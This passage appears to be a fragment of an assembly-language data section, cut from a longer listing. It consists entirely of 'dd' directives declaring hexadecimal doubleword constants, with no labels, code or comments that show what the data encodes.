9CFA281Bh, 5CFECACh, 0C5358F8Dh, 0AFE8A0F4h, 45D61C12h dd 442DBCB4h, 1209BB9Eh, 61B059CDh, 9DE006A0h, 9C550963h dd 34793CA6h, 614B2284h, 9F1C6234h, 68BC2D04h, 65A022C4h dd 9FF26CB2h, 45C44F31h, 62DD03F2h, 9AB9FB04h, 0E7AEC025h dd 610F44F4h, 6FFC6AD0h, 45A8003Ch, 0CB83A7CCh, 3A6C18A1h dd 5D940D0h, 474F03ADh, 49ACC1F5h, 28522BB1h, 6500C8A2h dd 3A219F25h, 0F0FC9C24h, 48342E0Fh, 0FC4C41D2h, 0A8AF7641h dd 31919017h, 53B68E81h, 0B33070A9h, 0DC91C492h, 0EF18A3D1h dd 488DB225h, 0E2572890h, 9D41069Fh, 0E80881D1h, 0E1BB8C30h dd 9D47BA6h, 49012EDCh, 70177C64h, 60C9B91Ah, 19DFC07Ch dd 0FA7DA8E4h, 9A0034F0h, 0B52F347h, 485C0605h, 260100D3h dd 4B7D5D35h, 30E83133h, 29D3894h, 70AEEFFCh, 8CDC4A4Ch dd 0C8096E98h, 712FF056h, 609BAF38h, 0E1ADF8E1h, 9E6434FDh dd 0E051D12Ah, 25706302h, 615C3026h, 0FA8C70h, 0C6C54814h dd 0ADF1321Ah, 4900879h, 72C40C59h, 10110766h, 0DB2771B9h dd 0D0014007h, 292B7E73h, 3479AA00h, 1C719433h, 5920F47h dd 150FFF0Ah, 7D5A6960h, 0A6050FFEh, 6F136861h, 0DDB01CE6h dd 5890A802h, 0C199420h, 0AA5C451h, 363818B1h, 9C6800Eh dd 8C8EAA3Ah, 905C1324h, 21002BACh, 1808857h, 0E920EC20h dd 0A8ECA024h, 54B69DB7h, 200E9945h, 81A07311h, 380D894Bh dd 0A3380805h, 21925D82h, 79F84894h, 0ECC44C4Dh, 18CA2E8h dd 0B6B5DAC6h, 2EF2E250h, 0C74B6820h, 0A103E0B9h, 0B2F06E80h dd 85EB0363h, 71ACBF4Ah, 99D401F8h, 4F0170B9h, 19D5E8A0h dd 0C844C0A5h, 0AB44917h, 0A0965021h, 0BCB0742Bh, 8C08AC20h dd 40A5EC03h, 0B07C5098h, 60FDFC45h, 0C9438949h, 6B00040Ch dd 0EB314CA4h, 2527AECh, 0FB48B4E6h, 0CC569A18h, 1B806011h dd 329263F6h, 815A0096h, 9957F697h, 587061D0h, 82002818h dd 5066FBA9h, 2F4A2494h, 9F23902Fh, 0AFA6500h, 95A42004h dd 0C98CB012h, 65187808h, 78935EBh, 21B85880h, 6AC53A00h dd 583D2DBEh, 64B43404h, 0C4A87801h, 0A3195A80h, 4D0B75BFh dd 87115D04h, 48599068h, 4FD25100h, 23742F0Eh, 5E290020h dd 431EE64Dh, 0A102E7F4h, 0DE137B5Ah, 0C545E17h, 0AC186567h dd 3155542Ch, 0F992CB02h, 30345CE9h, 2EC01978h, 9C4F0A88h dd 70FA41B4h, 306031ADh, 9E636ED4h, 295CD141h, 715C475Ah dd 7C2B181Ch, 0D94F0389h, 9C51529Dh, 95488BCh, 4CC7DF8Bh dd 7CD8A149h, 10BFDA0Bh, 78D1938Ch, 0E302B681h, 0C3B1C70Ch dd 0F9D8E0A6h, 0E8F510C5h, 30860208h, 509DDB12h, 5E9C9C1Ch dd 0B0001C46h, 0A1FAB208h, 291951D4h, 0A798CFC8h, 13C04F3Fh dd 3B38E8C0h, 3F00DD53h, 0A2289BFAh, 0B0B45B3h, 0DA3A76EBh dd 4DC01C1Bh, 80F7A199h, 0E40CB748h, 1033C82h, 1A7C0186h dd 9172D111h, 64804CB0h, 0B7AC18C4h, 711E448Ch, 3F00C4F4h dd 57BED02Ch, 17B44EA5h, 0C49C41AFh, 0F248A2F8h, 6BA730A3h dd 472F4000h, 5145DFDEh, 59C1E218h, 492B4E3h, 43C2C58h dd 60A8F425h, 0FA8CA3BCh, 4F8D4FE3h, 9920C1A8h, 40BB5A78h dd 0F34C4E0Fh, 0B3ABA3B2h, 52A791B0h, 53BC0020h, 0A1A27019h dd 1D9CD30h, 16EFE40Eh, 60AC0B79h, 0D8B1B6C5h, 0B0A203Bh dd 0E0F37F11h, 4075E802h, 0E8A97705h, 0A101F1ACh, 0FA8612DBh dd 323ABB4Eh, 30D45D28h, 7FEC00DCh, 0CE01C183h, 0F77D28ACh dd 4FD96E0Eh, 442A4042h, 32207B4h, 7340CC54h, 3EA289C5h dd 0E07BD8A9h, 8C18A351h, 532E1C05h, 9C213CC1h, 0B87DBC27h dd 0F36C8212h, 0A27042F8h, 0CF943020h, 1899B527h, 821D0CE8h dd 25BDE460h, 34886580h, 70183D5Ch, 27CAEACh, 0F424409Ch dd 9EF0BD60h, 0B43F1ECDh, 7B136005h, 0E42076A8h, 0E17E13h dd 4BACE91Fh, 0D7FC5932h, 50140E0Ah, 5D448C04h, 2C401B85h dd 47DE480Bh, 728538A8h, 739D0B7Ah, 0B81D5E79h, 0AA00C63Bh dd 8ADB0131h, 79044818h, 32D21904h, 0F0826809h, 7C7E4BBDh dd 467424EAh, 30C3001Eh, 6A807C14h, 0CAE2027Eh, 47EB9AB1h dd 0F4B9EC46h, 9918A259h, 176C4Ch, 0AC7B1519h, 2462EA97h dd 8E04237h, 0F70217C8h, 0D4CE582Eh, 54517274h, 0AB180D59h dd 3847700h, 30B85FD5h, 0EE4B1EFh, 19C94CDh, 0F4DFC853h dd 10CBC8C3h, 80DECE00h, 901EA286h, 0CFE404B8h, 0F0D35012h dd 2409C17Ch, 6749D7Eh, 18B990A0h, 0F14BF264h, 62008897h dd 0C476CFD6h, 568E73B1h, 894FCCA0h, 0A0B0073Ch, 3E51C037h dd 0C4834803h, 0F07DF546h, 2D47F2C3h, 5C4EC5E6h, 3C48485h dd 64F1D460h, 0E111901h, 63384249h, 23BC3A3Bh, 4F1001Dh dd 0C01A426Fh, 1808EA5Ch, 11D8EC6Dh, 7FEE257Eh, 3F406419h dd 90ED5C23h, 1F5B54Bh, 0FA2067DBh, 0D4149B7Ah, 94016312h dd 0C701B89Dh, 6E10E441h, 0FD00212Fh, 595E75E5h, 9F6CA04h dd 5DAAD41Ah, 49821079h, 0C2235B16h, 995EA0h, 1335AE2Fh dd 81C134C7h, 40367B9Ah, 0A2935032h, 3027F288h, 0E1003D52h dd 0C2534F7Ah, 0B2BD016h dd 0E4B96365h, 0A011441Dh, 19F11A83h, 3B8EDBA8h, 0B059C509h dd 29709031h, 0B4608221h, 70990E3Ch, 83131147h, 528B8270h dd 5A9F8F8h, 557C4E89h, 22981F61h, 0B0C51926h, 0D48B43h dd 4195BA89h, 8DEBCDD1h, 5D711901h, 0EFC54D66h, 908864DEh dd 0E13101AEh, 490451D6h, 18682289h, 0DF6117EEh, 966100E7h dd 28FB5740h, 3E017B26h, 4B891066h, 9C3243ABh, 0B209A848h dd 0BCD11955h, 0DD182079h, 0B6CB6205h, 70E11B49h, 2B4B7867h dd 79D2364h, 7D5F8C7h, 4642E2ACh, 1B44184Fh, 0E3DA3560h dd 90E07827h, 2FD3178h, 9CF744B8h, 807081F9h, 9554AE0Bh dd 1298109Dh, 0A8D62E83h, 4D01083Ch, 47086D4Bh, 0C121600Fh dd 6D599951h, 68585198h, 8CA2BC74h, 774A4600h, 0CF13C64Ch dd 0A6DC1762h, 0AA0C22F2h, 8078E680h, 69004F92h, 431437FDh dd 3874724h, 0B62ACE8Dh, 3100AAF2h, 0D27FB9BAh, 0F81863h dd 0C2079B21h, 73857034h, 0A0A44B02h, 0E02F0476h, 0A73F75D0h dd 80B1CE84h, 958DDD7h, 0BCAD0559h, 1FFE0EF1h, 9CDBC044h dd 25856F50h, 0D4411E1Ch, 0A9709680h, 22C6567h, 30BFFE58h dd 6471DB87h, 8860BC7Bh, 0E8E2D992h, 0E91CF8A9h, 1C170552h dd 1D23FC2Fh, 50989F00h, 0DFDB635h, 25CF1858h, 0B8206B21h dd 73CDA94h, 1E5F5031h, 0D0F2B75Eh, 7F9CAC2Dh, 13462E04h dd 49499DCh, 4AB8A8B9h, 60A47300h, 237ED010h, 8F0F16B8h dd 75E86259h, 465C9C08h, 5E660231h, 72ED0428h, 32C21F54h dd 78650EB3h, 3FDA4D40h, 0BF1879C4h, 94D85B14h, 7B550715h dd 8C32EFF7h, 21012359h, 0C5667118h, 93E0AC34h, 0D04E4D0Dh dd 0C0D85E2Ch, 0CB5D11B3h, 98A984B9h, 37189DD1h, 9BF9121Dh dd 438A7B04h, 0F84688A3h, 0E8A57DB0h, 0F7F9E3Eh, 0AB2192B6h dd 50C4209Ah, 79F4CD62h, 15953AEAh, 1D6FB992h, 35AF219Ch dd 79670014h, 0D99DB8D4h, 0D6B40107h, 0FA20F50Eh, 2765D19Ch dd 0CB74F13h, 3DD280BBh, 51971EFEh, 9636E489h, 0AC467648h dd 0AE5EED01h, 630D463Ah, 301EA22Ch, 0A400D92Ah, 0A8C2036h dd 0E5A3F8Ah, 9DCB1F42h, 642CB437h, 0A2AE2512h, 5D343000h dd 0BE1FC562h, 9D465E28h, 74D35001h, 23A2AFF6h, 3308A290h dd 72BE5CA8h, 8200BDF2h, 0CE8B6581h, 4BD4A921h, 23BC2F8Eh dd 69003F1Bh, 2B898007h, 71C71C4Dh, 0B095C550h, 1C04D4D5h dd 4A511D9h, 9490D6FCh, 88CDEBE0h, 0E087FD43h, 5BAA29h dd 4D744CADh, 1CD88865h, 12855780h, 0C860A7B0h, 0F906E7E8h dd 25A92BE4h, 913901C9h, 78D609F6h, 0F704DC13h, 0C094CB1Fh dd 90D9ACC7h, 0C322237h, 80025563h, 8CFE433Bh, 5AAB4989h dd 65FCF0h, 44D792Fh, 545161F9h, 26FC62F9h, 46740C5Bh dd 0E45700A0h, 3F1AD6FCh, 0E9AE2F4h, 8C69C5DAh, 54ED29B8h dd 1D7C1200h, 0A3F5624Ch, 0F2240040h, 0E8CF4D19h, 56273C04h dd 0C5E41839h, 61989C83h, 0C268583Fh, 0B0AB90FBh, 13C02A78h dd 0D1320859h, 3841CBF8h, 0D105C4C8h, 18B6E094h, 1AEDD2B0h dd 0DE28AB0Eh, 5B68273h, 2DC076C3h, 9FC4B8EDh, 46F03F80h dd 0FC3E2FE1h, 82C0582Eh, 6DCF634Dh, 62C99F00h, 0D26FF9D6h dd 6E7C13ADh, 4898014Eh, 2AB88867h, 451C405h, 55BC98A8h dd 9FC2388Ch, 0C0A0431Dh, 669C7881h, 13273DAEh, 84E810CBh dd 42675B12h, 4F0815B8h, 27D1E871h, 5E3F3118h, 0A3FF00D2h dd 0B5E358BEh, 35030BE0h, 8494A1h, 7444AE34h, 10143F10h dd 0A3503812h, 33A1B2ECh, 46FD1A80h, 91F4B400h, 633EF1BFh dd 9A775E16h, 3A80DF90h, 2C03ACE6h, 35AA02CDh, 0E5ADF997h dd 5289C87Eh, 64084745h, 8011600Dh, 0BD591CA7h, 4F2083B3h dd 0A9A4E999h, 872F0Ch, 0A1B15130h, 0CE18DC1Dh, 780C7513h dd 6D8816D0h, 39D2001Ah, 0E284F89h, 5F73F8D1h, 0B33FAA16h dd 4D60ACD0h, 2818B72Fh, 2A00E921h, 0B3E3B923h, 772E0D2h dd 0EB0EEF05h, 0B0F2296Bh, 0F288A00h, 0A618968Bh, 14512450h dd 133881F8h, 134C9BD4h, 9CABE848h, 280BABBh, 3216EBC5h dd 0A0FE29DBh, 0B510662Dh, 8910C17h, 3A576E80h, 0AC0AD3E7h dd 0DC512B8Eh, 0CE9F344h, 3C83FC74h, 5284E214h, 0BF5C0DCAh dd 7F0F2AC0h, 0ADE42E8Bh, 0F992604Ch, 0B8BFCD31h, 0BEA074F0h dd 7EB78054h, 53A1C95Dh, 36933809h, 0B8AE03FBh, 40D0B4DCh dd 80D3F989h, 6E035D2Fh, 24E09F9Ah, 583E07Bh, 0BF5A009Bh dd 2FBCB044h, 0C216067Fh, 0A09D966Fh, 23142B6Eh, 4774001Dh dd 0AF81D9DFh, 0C57A4502h, 579CB5CAh, 27A7DCA2h, 0A8D92620h dd 72B0008Ah, 81D50220h, 35012431h, 0FB967F2Ch, 3C280732h dd 0D1AAA6C0h, 0A0C5B6A1h, 34900C8Bh, 63C603h, 30F771ADh dd 106BCE3Ch, 0F4441409h, 58A8DB24h, 0A700E6ECh, 0A9598F3Dh dd 734723D8h, 6DFE26CCh, 9AED424Ch, 2211949Fh, 9AEAC880h dd 0A026651Ah, 0EE893CFCh, 27202030h, 0E055F923h, 0C6E300B7h dd 0D477F08Ch, 0B001CC3h, 37022C51h, 5DC19D2Ah, 5C13C8A5h dd 0F4408956h, 74009346h, 76AA67B6h, 1D974819h, 0C11CE9E6h dd 8C7DFC53h, 0A5346C42h, 0EC07846Bh, 0F0C782DBh, 24AD8FBCh dd 605E8E2Fh, 5C4296E0h, 3001DB3Eh, 0FD1B2BEAh, 2DA042B7h dd 98271CDCh, 2721AA4Ch, 4A2990Ch, 407986C9h, 0CD64C6Ah dd 0F4F9B933h, 80CA7AF6h, 0AC9EE0C9h, 68B78D4Dh, 0B2841420h dd 0D05910E8h, 31B98530h, 7DE8FCEDh, 7A1EFF48h, 2F8829Dh dd 40B95559h, 482F3F66h, 8100A023h, 82965C42h, 490F1473h dd 0F909209Fh, 74E0982Eh, 0C802B120h, 530A21F8h, 76060135h dd 2C32A7h, 62300E85h, 0A91D887h, 42DE7A74h, 5A1782DCh dd 30D4056Dh, 240F465Eh, 7F004C87h, 0E808F80Dh, 0B8EF2D91h dd 6A875410h, 5CE56E0Bh, 4AB8C6E3h, 0BB840EEh, 0EDE50EDFh dd 0A2F777Bh, 9E3820F3h, 8A1824h, 2B2004E2h, 4D393CFCh dd 0F57C229Dh, 0A456092Ch, 5020B429h, 0E3294B00h, 7A401D31h dd 7EE100CCh, 46641CF1h, 0A12E62CAh, 942B9807h, 209B5D93h dd 430E180h, 0A32C6709h, 9A1C50CDh, 7A3E0580h, 0DDF2CFh dd 0AD0B2DFFh, 87C6252Eh, 0F97C0102h, 7164781Ah, 1827792Ch dd 15F60760h, 10BCD137h, 0A4591E7Eh, 2017EF02h, 0DBAFD651h dd 18A05118h, 0D4570364h, 0FA68622h, 0CF4000F5h, 0A20B9510h dd 40931402h, 4063F5F6h, 0E762AB8Ch, 5FC9EF4h, 294D5B82h dd 0E738D4F8h, 0A2484234h, 1E0130A2h, 8B9B7D01h, 0CB85F583h dd 403C8420h, 0B24A4936h, 6E517491h, 6E6A1421h, 50A5022Ch dd 0FB37D181h, 0F2C989D8h, 0D9E0B048h, 0A4795700h, 0A30156EEh dd 8C1A0061h, 0AEF00CD4h, 78129FDAh, 0B41ECEEFh, 0E7377902h dd 96CC9496h, 0A04656A8h, 45D08E00h, 8CA9F82Ch, 295A3005h dd 0B072C9C6h, 8DDB335Eh, 0B8EC4BCBh, 4FC8B088h, 0E283008Dh dd 6CE120A2h, 0F202BDB5h, 1DF9930Bh, 0D6ACE8B0h, 7924B176h dd 3F401837h, 8AA85F11h, 2F66121Ch, 8020A85Ch, 4E182DBCh dd 0DACD00E6h, 0B37126A7h, 6A046E75h, 0A0C27CACh, 4643ACC2h dd 0F8A60044h, 97E0578Bh, 0A81EACB4h, 414009B1h, 0FDCE87EAh dd 0F8D04C66h, 0B8404358h, 10ECBE5Fh, 7CAE05E5h, 44895382h dd 63006AC1h, 83BD8693h, 0ADC99290h, 284C9CECh, 0B4D1510h dd 0AB6C2368h, 709C7BE8h, 0E60F2456h, 0C910C2h, 51EA6748h dd 0C02DF7CCh, 0F8F62BACh, 0FEA07C06h, 31E8B439h, 54B913B9h dd 7484D211h, 20CB530Ch dd 0D6C01DC8h, 30F9944h, 3E0B6B6Fh, 68A6C1D3h, 227BCC08h dd 0F2751649h, 401003Ch, 0ED399D6h, 247700B3h, 0D1118F83h dd 9B5631Dh, 700053C8h, 0D600919Eh, 0C520E8CEh, 0B2015459h dd 660E4404h, 8DB26400h, 2FFE1934h, 579303B7h, 0CD7D3501h dd 8CFB62A0h, 0E50020BDh, 2E0221F1h, 0F7088B8h, 0E6E18E5Fh dd 204D3291h, 6B40C218h, 0A6190047h, 64889CA9h, 9D3D22ACh dd 2CDB5AD6h, 98A4E982h, 7B66A90Fh, 0FD81D0C0h, 8908A8BEh dd 219C0464h, 0F2609094h, 5340E18Bh, 2C12BD18h, 18355Fh dd 0DB272221h, 14004007h, 0AF849C66h, 5E3724A1h, 3D246F1Bh dd 29B297BAh, 65DAA404h, 427DC8A4h, 689A4A98h, 0DAD9F980h dd 0A401178Fh, 0AC6C50B6h, 9048D284h, 0C90172D1h, 0C9008860h dd 92CE14F4h, 5334130Dh, 6034A829h, 0A7660241h, 0D47F2C46h dd 950060D4h, 2DF98FFAh, 0F3458851h, 8E04BA0Fh, 0A09D0A1Ch dd 0A074D204h, 5E06D8ADh, 31B7C423h, 357430B8h, 7153180h dd 4C4BBB3Bh, 0CBE41225h, 94B9F848h, 0E2F090B7h, 62021C2Fh dd 402ADDC4h, 9F0BB6D6h, 0EC0060C5h, 0F6CF47ABh, 25F43DE6h dd 97A736h, 0B4800F91h, 0EF86E41Ch, 0DFC9721Eh, 0D8BC85D2h dd 20F99913h, 4F548824h, 2D9CF550h, 0EC4E4C01h, 20B0438Dh dd 0B17C812Eh, 8D0E7D8h, 0E30067ABh, 30A7A00Eh, 0C82168Fh dd 0F18A7C89h, 0C91B9E40h, 0B8588004h, 4A59FF5h, 0CBA03931h dd 882C8EDDh, 0BDC4C09Bh, 3654CF18h, 1209AEC0h, 5649C998h dd 0C68C0D38h, 38DB2E31h, 47343B80h, 6F5215A6h, 309BB220h dd 6D74F3ADh, 71517D27h, 18A2D1F4h, 0D9D003Bh, 488E23A5h dd 69EDAA7Ah, 906201BCh, 8AC753C4h, 679F49F4h, 6B42A108h dd 9D78505Bh, 0B468426h, 702021B4h, 91EB18A0h, 0A28A0044h dd 5765F0DEh, 66AE7500h, 3FD1BF5Fh, 0FA6E05BAh, 0AC0CA755h dd 8CA3BCECh, 9D07987Fh, 7A3E80A6h, 135301DFh, 0A111CCDh dd 0F3444289h, 950BFCE4h, 8065C302h, 0A8FADD33h, 3A2D1318h dd 4E84E8D2h, 5AB05CB6h, 0AB303FBCh, 9BB5A1CEh, 8471C74Dh dd 24C56274h, 11D41777h, 3FB383A4h, 0C537A090h, 40E40C8Ch dd 33E130A5h, 41037BDh, 8093D5BBh, 0C19CE96Bh, 0A2CC895h dd 0D91A604Eh, 9F2AA89Bh, 88205502h, 686CAD8Ch, 0E535F9B8h dd 0E1B6A301h, 0A0B18C48h, 1F7992Ch, 99B39542h, 0CCD5635Bh dd 5E0B7556h, 7A81D165h, 0A1A021Ch, 0DBF97BF7h, 0A310C8C0h dd 7C6B6D4Ah, 7B3EA606h, 9D0E98E5h, 9D2777E3h, 8C401992h dd 935E39B4h, 9AA50114h, 70BF23C7h, 78486058h, 3770AC9Bh dd 0F72D0034h, 99956630h, 0F0A1A223h, 0C374C451h, 47809896h dd 0B52C3122h, 0F950629Ah, 2F7D41C5h, 832881E8h, 20E3B7h dd 21440F92h, 508027ADh, 0E766A482h, 559AE405h, 0F8CE3875h dd 1CB2788h, 4817D0C3h, 1A0D7D4h, 33050EB4h, 62E9A9D3h dd 0ED7825CCh, 0BC536958h, 18697601h, 818031CBh, 0C1C88611h dd 0B12F257Fh, 0CF08005Dh, 0FE587E3h, 894F488Bh, 18C3A426h dd 5A02927Dh, 515014BDh, 98CF428h, 0C0E5E7B9h, 0DE60A2E4h dd 0EB00FCF4h, 42EC0D34h, 0F42F0726h, 0B159C5C4h, 879CF070h dd 8D60E001h, 2FA5D1E5h, 0C08BE424h, 9A6333C9h, 8458CAA9h dd 80385C6Ch, 0B22B6E71h, 0BE16307Ch, 9EEB975Ah, 5AE7301h dd 0D318A513h, 8C181C72h, 0DDBD39CFh, 461A5801h, 0D1516415h dd 0A3B5EC30h, 7181C970h, 2F05903Ch, 0D1E684B4h, 67F5FCh dd 0B2A8D219h, 2097B504h, 0BE05A1BCh, 64AC9CDBh, 0D997E30Bh dd 95C47019h, 0A0C010EDh, 3EC93098h, 1B3497CDh, 0D06EEA60h dd 0ABE4E907h, 45B9B1C9h, 20122F28h, 861154ACh, 59C70B2Ah dd 930D0B4h, 58A32E89h, 8A8E80D6h, 2E929064h, 0F23ECh dd 0A1C4FC3Dh, 5016494h, 0C5CDBEDBh, 483898B1h, 19625903h dd 0B94BA58Ch, 1800DC6Eh, 13D00E0Ah, 0FD1EDFE7h, 0D4921739h dd 41F8A460h, 820D1987h, 334FE1A0h, 0C0E83A28h, 0C12662EFh dd 1875CB19h, 13916BBCh, 132E99B1h, 23206A48h, 5522009Dh dd 0F1B5F318h, 8B077C98h, 89839CC6h, 543CEE62h, 1600F478h dd 0B05D2B13h, 8EC7101h, 0CB31B14Fh, 0B4404D02h, 24D84820h dd 0F04297B9h, 1DECB75Dh, 5D0700D2h, 879E97F8h, 59CBDA1Dh dd 0C090ECEAh, 5112B60Bh, 0E9C498C7h, 7E6FEE6Bh, 7CFD583Dh dd 47048B80h, 3900EABBh, 3DC2F93Fh, 4851E71Ch, 502254C1h dd 0FCB24929h, 8D6BC500h, 6981B530h, 78592119h, 0C218A479h dd 0B37FBC00h, 69179079h, 58663F29h, 0BC903220h, 30CED920h dd 0E6C92DA7h, 2EC1E715h, 2280B6CFh, 1613D064h, 61557Bh dd 5B14AAD4h, 3F3B18C3h, 0BF22825Ah, 704D6078h, 0D19209F8h dd 0C0409559h, 0EF81018Dh, 871C4F2Bh, 0B0CAEC80h, 0F100A682h dd 75FFFB14h, 35C2A1Ch, 41C70576h, 0A871138Ch, 0AE481404h dd 74D37E7Ch, 0F7E59132h, 291760BFh, 0C8F08B15h, 30C4C0ACh dd 500B7559h, 9DDB414Ah, 800C11F0h, 3EE193B0h, 9E12F309h dd 4AAFB710h, 0F258A24Ah, 50773037h, 18CA83Eh, 0A685C57Ch dd 59803FFDh, 0EEF22036h, 9500BFE5h, 6F3E5486h, 0F4FD3h dd 5B7D9C85h, 2A398EF5h, 110914B2h, 7E24FE3Ch, 0BC13D680h dd 1513F872h, 9CB4A8h, 0D282B7D9h, 85007BBEh, 40F246F6h dd 5D1E96h, 4EAADE32h, 0CDAD5BAEh, 3D131490h, 3020A58Fh dd 4FB0F58h, 2DBC9FD1h, 3508C2F3h, 677610h, 0FC6CA983h dd 6ADB9CF0h, 958EEB07h, 9EA37D14h, 81490009h, 823890F9h dd 0C0ECB729h, 5C772301h, 1D486492h, 234C2F3Fh, 0A7390027h dd 0AFF30C7Ah, 8541501h, 44E18CACh, 9158406Fh, 80474F09h dd 0BD73A490h, 40304F9Fh, 0F6689302h, 0B51E558h, 0A2719950h dd 0E734D888h, 609F4470h, 9C129FDh, 64F5C444h, 9743C47Eh dd 0A827A855h, 37C20023h, 2F3CBD59h, 775EB691h, 2A1C006Bh dd 0EE8544CBh, 34474001h, 0BF271543h, 90023810h, 0BAE44974h dd 2A4D9802h, 41BE9231h, 0C8C45816h, 2CBCFC07h, 5E3C6F05h dd 99039A46h, 0B6497B02h, 0B81FEB8Fh, 0BC819B11h, 6ECE18D4h dd 20CF3422h, 0D3BD0D7Ch, 5CEA9407h, 0C19F07D0h, 1B546CFAh dd 4CDD320h, 0F43EB430h, 0E08CD9Eh, 0C0A388E0h, 0F0DF409h dd 88F83D00h, 9307D8E8h, 42D4AC1h, 0AE4AAECCh, 3223D82Fh dd 0B87BB03Ah, 988F39CEh, 0AB240030h, 30D02B61h, 765A2882h dd 0F8B094A6h, 8916C715h, 0C80269Ch, 5B87CBCDh, 239C2F5Eh dd 48770103h, 0D84CE887h, 64017B5Ch, 4E2B903Ch, 9B004F02h dd 8A1F539Fh, 0CE8A5275h, 467CB805h, 0D1E7019Ch, 6F5CD04h dd 76E3EC40h, 0DC750401h, 0A0B19BB5h, 582767D4h, 990CD088h dd 1D2D8068h, 6448ED7Eh, 3E285604h, 87C03234h, 27AC2EC0h dd 64E59599h, 18050FE2h, 47708126h, 229F4918h, 6251B1h dd 10F1B432h, 8E1B9A1Dh, 0B72D78B6h, 297800B4h, 641F6AA5h dd 650583FEh, 61D44331h, 3723DC3Ah, 2802C316h, 4938AC89h dd 703CC404h, 8C5BBCh, 619124FBh, 0DBD6E6D0h, 0D8574204h dd 0A4F41DFAh, 41C5889Dh, 0CC3B102Ah, 9B1244h, 9FB16B0h dd 17E3AE9Fh, 0B448DDECh, 8E9780A0h, 0C955012h, 1F48B1A7h dd 4C139F40h, 203A613Fh, 0B4019C23h, 99FE2C0h, 0F0F0FD11h dd 7700AFD1h, 7C6DB6BFh, 0F6E17F6Bh, 1ED526B1h, 0AC1A0FF4h dd 0F07ADE84h, 97BDA6A4h, 81229174h, 57652682h, 63DCA1F8h dd 56E9D00Dh, 680AD69Bh dd 0CCC4406Dh, 0BC2E8784h, 0F82584ACh, 0A8B04423h, 0F780D146h dd 0A03FA150h, 0A4CD882Dh, 26303200h, 72FD8ECBh, 0A829194Dh dd 7C9AF9C6h, 20A2965Ch, 9A300FF2h, 30A400D1h, 0F27B736Dh dd 0AEEEF8B0h, 0D4B13A7Fh, 7A20B0A0h, 23681765h, 0AE3CC044h dd 0EE00B438h, 9CD15BFCh, 30B14B61h, 19A032A1h, 75B85334h dd 0A09EA0CEh, 47644944h, 6B41018Ch, 294F7BB9h, 60496ACCh dd 794C71F5h, 32FA189Dh, 35484A5Bh, 59A510FCh, 0E497A5ECh dd 80E11E9Fh, 283B6D01h, 0D50EADDCh, 9B1CB04h, 54000840h dd 7A3465Ch, 0E46A640Dh, 4CC00410h, 2DC77547h, 0A46161FBh dd 0D0202A63h, 15AE4C1h, 0F5316DB2h, 0F03A0BCAh, 9F778D96h dd 605E1E04h, 940CE8Ch, 0E87DAAAh, 24019701h, 0BF5A9264h dd 2DB84439h, 88D79801h, 50294E14h, 0CF07742Ch, 0CEFFA5CAh dd 0E47EA649h, 65108417h, 0E06D2EF0h, 0C02CCD25h, 0E0295016h dd 0B4002F41h, 5B46D2A2h, 0E0B0A62Ch, 44C0972h, 0C58812E2h dd 0E0B8F651h, 58AFD14h, 41AE36FBh, 0C020BF74h, 46D86Eh dd 0E653DD77h, 620D4789h, 92437500h, 0F2367CF0h, 87509CFCh dd 23D80A52h, 62D00754h, 164E7A1Ah, 0E000E46Eh, 0C8AE9405h dd 90A90286h, 0A2C44178h, 1243024Bh, 1D44CD6h, 926FB998h dd 70D2E2B4h, 262C0EC8h, 4A089456h, 6C974940h, 9F800D11h dd 0DA760C3Fh, 4C1F1D00h, 0AF7D9CACh, 60924D7Ch, 0D5C11278h dd 5938B498h, 0C0B8629Fh, 3F382B8h, 0AFE7B970h, 0B7FD1056h dd 0A23C5334h, 818030A1h, 0CFDC2B00h, 0AC35F3DFh, 81165A1Ch dd 2E24F24Ch, 50A2D412h, 0FE23027Ch, 12A6EC71h, 0E21124E0h dd 9CB5D62Dh, 84FB7424h, 465630B6h, 1B310038h, 48C2D63Eh dd 0D92104E7h, 0E4F2A5FFh, 2A3E5B64h, 0CD6F00FDh, 285C2C7Fh dd 0DAC700CCh, 0C54BC3B5h, 39F34A1h, 0E97A5E00h, 13E2841h dd 798951F0h, 55880F20h, 5F1390C1h, 4B754FCh, 0C19D48FCh dd 964FC3Dh, 42042AB4h, 0B0405D34h, 950B17F3h, 0E1BF8B2Bh dd 99F08554h, 0B008B04Ch, 76812248h, 0E434C59Fh, 628E6050h dd 2C28099Ch, 0BCA9B5A0h, 0DCB474h, 8166BA75h, 18F7677Eh dd 0A20C950h, 0F8047D5Ah, 35EFDA44h, 4C20AA04h, 0D7AFC3h dd 0DD0E6AAh, 3F2088EDh, 803D7601h, 3CF3054Dh, 0BC73B9A5h dd 0F71E170h, 0E9C8A759h, 0B9820D80h, 0DCB9A6F2h, 0B0678538h dd 0ECB80B20h, 9A4AF447h, 789080A0h, 0BD9CD419h, 0D0882C10h dd 1871055Bh, 0CC2EB349h, 2F40CCE8h, 0E2870532h, 0EB2DD99Dh dd 4981E804h, 8AFECCA0h, 0FCB77Fh, 3F49F945h, 25AF840h dd 41C5CC70h, 183C63D0h, 83C27B56h, 8CA8017Fh, 544101B6h dd 318B2A84h, 345CD859h, 0D605760Bh, 57465E00h, 4BB03F00h dd 8C95448Bh, 63B1D060h, 71D36202h, 548D007Ah, 57FA69F4h dd 5E269CB9h, 92848879h, 0F4FDFDB6h, 657E2C00h, 625710EEh dd 8F05CBF2h, 0F5DB3DE2h, 790B80ACh, 4CD3152Ah, 5FFF70h dd 10156AB8h, 0F997E03Fh, 2CD04D55h, 782F4FC8h, 0F9005723h dd 3F49D10h, 83C6093Bh, 0ACD0546Ah, 0A440CD4Fh, 929E4259h dd 1B802539h, 10A324C9h, 0C2DACEh, 0C78EFB8Dh, 605F4866h dd 44DC3C00h, 0B4E5D01Dh, 939C2F67h, 0D0C070CDh, 98E7E36h dd 6A7CAE10h, 9212CCD8h, 6CB0BDD9h, 5EE70F4h, 237734FAh dd 2B00B149h, 2D8084DBh, 9EA35CC8h, 2403F54Bh, 0C1F81348h dd 108CCD79h, 0FEA124A0h, 0DB234B1Dh, 0B47A003Ch, 1A9626FFh dd 0C3890E39h, 92615D09h, 8AF6D9C9h, 0D4B014A8h, 546B03F4h dd 0AD26E76Ah, 0B6C62488h, 276F7581h, 0DCD2A0BCh, 0D0C3D46h dd 20FE7BFBh, 84113C5Eh, 0F70A0880h, 5A77DE28h, 5B163700h dd 0BFA29264h, 1C2304ACh, 0B4512653h, 892CC794h, 78A8D874h dd 187BB43Bh, 0FD78B82Ah, 1CA1C067h, 0E4ED1601h, 96AFC402h dd 48A34318h, 90142CE0h, 27820ECh, 0CB3CA605h, 68E2D2F9h dd 8E4482Ch, 3C035B5Ah, 2DB171C3h, 74040121h, 8B6230D3h dd 9F6F0045h, 64296028h, 